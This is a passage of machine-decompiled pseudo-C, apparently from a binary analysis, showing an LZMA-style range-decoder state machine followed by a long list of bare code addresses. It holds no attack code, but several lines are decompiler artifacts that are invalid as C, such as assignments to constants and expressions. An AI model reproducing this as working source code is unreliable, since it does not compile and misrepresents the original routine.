											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L164:
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											L100:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L159:
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											L38:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											L40:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												L45:
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L160:
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											L47:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												L49:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													L53:
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L161:
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											L59:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												L65:
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L165:
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											L110:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											goto L132;
										case 0x12:
											L128:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L131:
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												L132:
												 *(_t644 - 0x54) = _t642;
												goto L133;
											}
											L129:
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											L141:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L143:
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
											L142:
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											L156:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											while(1) {
												L140:
												 *(_t644 - 0x88) = _t537;
												goto L1;
											}
										case 0x15:
											L91:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											goto L0;
										case 0x17:
											while(1) {
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
										case 0x18:
											goto L146;
										case 0x19:
											L94:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												L98:
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													L166:
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												L121:
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												L122:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											L95:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												L97:
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													L107:
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														L118:
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													L113:
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														L117:
														goto L109;
													}
												}
												L103:
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													L106:
													goto L99;
												}
											}
											L96:
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L162:
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											L57:
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L163:
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											L77:
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												L124:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L127:
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											L167:
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t539 = _t538 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00407194
0x00407194
0x00407194
0x00407194
0x0040719a
0x0040719e
0x004071a2
0x004071ac
0x004071ba
0x00407490
0x00407490
0x00407493
0x0040749a
0x004074c7
0x004074c7
0x004074cb
0x00000000
0x00000000
0x004074cd
0x004074d6
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074ee
0x00407507
0x0040750a
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074ff
0x00407502
0x00407502
0x00407524
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074cb
0x00000000
0x00000000
0x00000000
0x00407526
0x00407526
0x0040749f
0x004074a3
0x004075db
0x004075db
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x004075fd
0x00407601
0x00407601
0x004074a9
0x004074af
0x004074b6
0x004074be
0x004074be
0x004074c1
0x00000000
0x004074c1
0x0040752b
0x00407538
0x0040753b
0x00407447
0x00407447
0x00407447
0x00406be3
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00406bf2
0x00000000
0x00406bf9
0x00406bfd
0x00000000
0x00000000
0x00406c03
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c5e
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
